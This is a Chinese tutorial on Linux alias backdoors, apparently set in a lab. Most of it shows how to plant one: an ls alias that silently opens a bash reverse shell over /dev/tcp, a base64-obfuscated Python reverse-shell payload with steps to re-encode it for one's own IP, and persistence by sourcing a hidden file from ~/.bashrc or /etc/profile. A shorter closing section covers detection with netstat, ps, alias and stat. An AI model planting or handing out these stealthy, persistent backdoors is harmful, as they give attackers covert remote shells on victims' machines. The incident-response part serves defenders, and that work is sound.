alias 后门从入门到应急响应
目录
1. alias 后门介绍
2. alias 后门注入方式
2.1 方式一(以函数的方式执行)
2.2 方式二(执行python脚本)
3.应急响应
3.1 查看所有连接
3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令
3.3 查看别名
3.4 其他情况
3.5 那么检查这些启动程序和配置文件是否被篡改
1. alias 后门介绍
在Linux系统中,alias命令通常用于为常用的命令设置快捷方式或别名,以提高工作效率。然而,这个特性也可能被滥用来创建后门,允许攻击者在不知情的情况下执行恶意命令。
2. alias 后门注入方式
2.1 方式一(以函数的方式执行)
alias命令的功能:为命令设置别名
alias 查看命令的别名
定义:alias ls="ls -al"
删除别名的:unalias ls
每次输入ls命令的时候都能实现ls -al
# 方式一设置 输入ls时会卡主
alias ls="ls -al"
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.12/3333 0>&1; };alerts'
# 反弹shell,只需要被植入的后门的主机输入ls命令就会反弹一次shell,但是会卡主容易被发现
设置完毕后,每输入一次ls命令就会反弹一次shell ,但是会卡主,容易引起怀疑
在kali监听主机端,输入nc -lvvp 3333 监听端口
2.2 方式二(执行python脚本)
alias命令的功能:为命令设置别名
alias 查看命令的别名
定义:alias ls="ls -al"
删除别名的:unalias ls
每次输入ls命令的时候都能实现ls -al
# 设置一后再设置二时先删除1
unalias ls
alias ls="ls -al"
# 方式二设置 需要有Python3环境
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xNSIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgpCg=='\'')))";};alerts'
# 反弹shell
nc -lvvp 3333
# 通过在 ~/.bash_profile /etc/profile 这两个系统的配置文件中进行设置,使得服务器每次登录后就触发alias后门
vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi
在目标主机上配置后门时需要确保目标主机有Python3的运行环境,不然无法进行反弹shell
Ubantu和Centos7一键shell更换镜像源与Linux系统Python3环境安装-CSDN博客https://blog.csdn.net/weixin_72543266/article/details/142066916?spm=1001.2014.3001.5502 在进行反弹shell,时需要对执行的脚本代码中的base64中的内容进行修改.先解吗中间的base64部分,改完后,在编码回去替换
Base64 编码/解码 - 锤子在线工具此工具是一个 Base64 编码或解码在线工具,实现把字符串转成 Base64 或者从 Base64 转成成字符串。https://www.toolhelper.cn/EncodeDecode/Base64
aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC44Ni4xMzciLCAzMzMzKSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQo=
# 查看别名
alias
# 如果之前有设置过,需要先删除,然后重新设置
unalias ls
# 设置别名的内容,记得使用前需要修改哦(一定要将反弹shell的ip地址设置正确)
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMiIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgpCg=='\'')))";};alerts'
# 设置完后确认一下
alias
这里用监听机kali进行监听反弹回来的端口
# 监听主机进行监听
nc -lvvp 3333
3.应急响应
此时确定后门以进行连接
3.1 查看所有连接
发现与 192.168.10.2:20546 的异常连接,是反弹的shell连接
netstat -anpt
3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令
ps aux | grep 33636
查看 PID 为33636的 PPID,发现是1
cat /proc/33636/status
3.3 查看别名
通过alias发现了异常别名
这里对base64文件进行解码发现确实为反弹shell的py脚本
3.4 其他情况
通过使用命令unalias alert
可以删除别名,但是如果下一次 ssh 远程登录该服务器,又会重新出现该别名,如上图所示,猜测可能 alias 后门写进了 系统的启动程序和配置文件中,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout
才会导致,每次登录服务器就会重新触发 alias 后门
3.5 那么检查这些启动程序和配置文件是否被篡改
将检查出来存在修改的文件信息,进行删除即可
stat ~/.bash_profile
stat /etc/profile